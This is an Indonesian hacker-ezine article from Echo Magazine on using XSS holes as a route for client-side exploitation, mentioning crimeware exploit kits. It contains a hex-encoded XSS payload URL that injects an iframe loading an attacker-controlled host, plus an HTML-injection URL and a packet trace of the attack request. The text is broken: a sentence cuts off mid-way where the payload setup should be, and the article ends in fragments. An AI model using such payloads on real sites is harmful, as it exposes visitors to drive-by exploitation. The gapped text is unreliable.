_| _| _|_| _|_|_| _|_|_| _|_| _|_|_|_| _|_|_| _|_| _|_|_|_| _| _| _| _| _| _| _| _| _| _|_|_|_| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _|_|_| _| _| _|_| _|_|_|_| _| _| _| _|_|_| ECHO MAGAZINE VOLUME VIII, ISSUE XXII, PHILE 0x006.TXT Riding the XSS, Spr34c1 t3h Ph34r - Cyberheb cyberheb/at/kecoak-elektronik/dot/net ---[ Wassup So, beberapa minggu terakhir ini saya mencoba untuk mulai mengintip teknologi security pada webapss. Mulai dari SQL-Injection, RFI/LFI, HTML Injection, XSS, dll. Layaknya seorang newbie yang baru mempelajari teknologi tersebut, tentu saja tidak lepas dari beragam aktivitas coba-coba, penggunaan beragam tools untuk dipelajari proses internalnya, kegagalan, hingga aksi pwned. Dari berbagai percobaan saya menemukan cukup banyak masalah XSS pada aplikasi-aplikasi web yang dijadikan target. Walaupun tergolong newbie, tapi bukan berarti tidak pernah mendengar mengenai vuln jenis ini. Banyak sekali yang menganggap remeh jenis hole XSS pada aplikasi web, alasannya sederhana...hole tersebut tidak memiliki dampak yang signifikan layaknya remote exploit pada sistem operasi, ataupun bug sql-injection yang hasil akhirnya dapat memberikan shell. Anggapan remeh selanjutnya dikarenakan bug XSS sangat mudah untuk ditemukan, dan permasalahan bug tersebut umumnya hanya karena 'kelupaan' melakukan validasi jenis data yang di-inputkan oleh user. Sebagai contoh adalah situs exploit-db.com yang berusaha melanjutkan jaman keemasan milw0rm.com, pada link news [1] terdapat kutipan berikut: "More updates from Steve Tornio. We have changed our submittals policy to exclude low impact XSS vulnerabilities. We appreciate the danger XSS presents as an attack vector, however we find it impractical to try to house every XSS vuln presented to us. We appologise if your XSS vulnerabilities dont make it through." Pernyataan diatas mengindikasikan betapa banyaknya aplikasi web yang memiliki celah keamanan XSS dan celah tersebut cenderung lebih mudah ditemukan, serta diremehkan :). ---[ The risk please?! Beberapa artikel di internet yang membahas XSS telah memberikan informasi mengenai dampak celah keamanan tersebut, salah satunya adalah XSS FAQ [2]. Pembahasan yang lebih teknikal juga pernah dibahas pada ezine echo sebelumnya [3][4][5][6]. Resiko yang cukup seru dan berhubungan dengan pencurian data (cookie) dari user menggunakan trik XSS baru-baru ini adalah insiden di-hacknya server dalam infrastruktur apache[7]. Namun Untuk artikel kali ini saya hanya akan membahas satu resiko yang berhubungan dengan inti artikel: "XSS dapat menjadi media client-side exploitation." Hal ini dapat terjadi karena dengan menggunakan hole XSS penyerang dapat menyisipkan kode-kode tertentu kedalam salah satu variable untuk dieksekusi oleh target. Contoh paling umum adalah bentuk berikut ini: http://www.company.co.id/pemesanan/form_id.php?barang=1%3E%3Cb%3EWebsite%20ini%20telah%20di-hacked%3C/b%3E XSS adalah celah keamanan yang menyerang teknologi client-side, dalam hal ini browser yang digunakan oleh target. Sehingga untuk contoh diatas, hasil yang ditampilkan akan berbeda-beda tergantung jenis browser internet. Bahkan ada kemungkinan XSS akan langsung di-blok apabila target menggunakan plugin khusus seperti nocript-nya firefox. Kode-kode yang dapat disisipkan cukup beragam dan pada beberapa kasus keberhasilan ditentukan oleh berbagai parameter. Pada sisa artikel kita akan membahas penggunaan kode yang dapat menjadikan celah kemanana XSS sebagai media exploitasi berbasis client-side. ---[ Client-Side Exploitation Beberapa waktu yang lalu, G.S menulis tentang salah salah satu crimeware jenis client-side exploit pada ezine kecoak elektronik [8]. Crimeware tersebut akan menunggu pada suatu domain, ketika target menghubungi domain tersebut secara otomatis akan dilakukan analisis jenis browser internet yang digunakan serta sistem operasinya untuk kemudian di-exploitasi berdasarkan daftar exploit dalam crimeware tools. Pada prinsipnya cara kerja crimeware tools ini adalah automatisasi serangan client-side exploitation. Dan salah satu hal penting adalah bagaimana memancing korban untuk mengunjungi domain crimware tersebut. Ada beberapa metode, diantaranya: memancing korban menggunakan fake email, menggunakan instant messenger, menggunakan social network, hingga cara yang lebih 'stealth' dengan memanfaatkan Di encode menggunakan HEX menjadi: http://www.company.co.id/vacancy/form_id.php?msg=1%3E%3C%69%66 %72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%31%30%2E%32%31 %31%2E%35%35%2E%31%34%3A%38%30%2F%78%73%73%72%69%64%65%72%3E%3C %2F%69%66%72%61%6D%65%3E Hasil trace menggunakan wireshark menunjukan alur paket seperti berikut ini: GET /vacancy/form_id.php?msg=1%3E%3C%69%66%72%61%6D%65%20%73 %72%63%3D%68%74%74%70%3A%2F%2F%31%30%2E%32%31%31%2E%35%35%2E %31%34%3A%38%30%2F%78%73%73%72%69%64%65%72%3E%3C%2F%69%66%72 %61%6D%65%3E HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: www.company.co.id Connection: Keep-Alive Request diatas merupakan request full yang dikirimkan oleh browser korban pada server target. HTTP/1.1 200 OK Date: Thu, 13 May 2010 03:42:36 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5 X-Powered-By: PHP/5.2.5 Content-Length: 4715 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
... ...... ... Hasil diatas merupakan jawaban atas request sebelumnya. Dapat kita lihat bahwa server memberikan dokumen HTML yang diminta layaknya respon normal, ditambah dengan tag
Kode Posisi :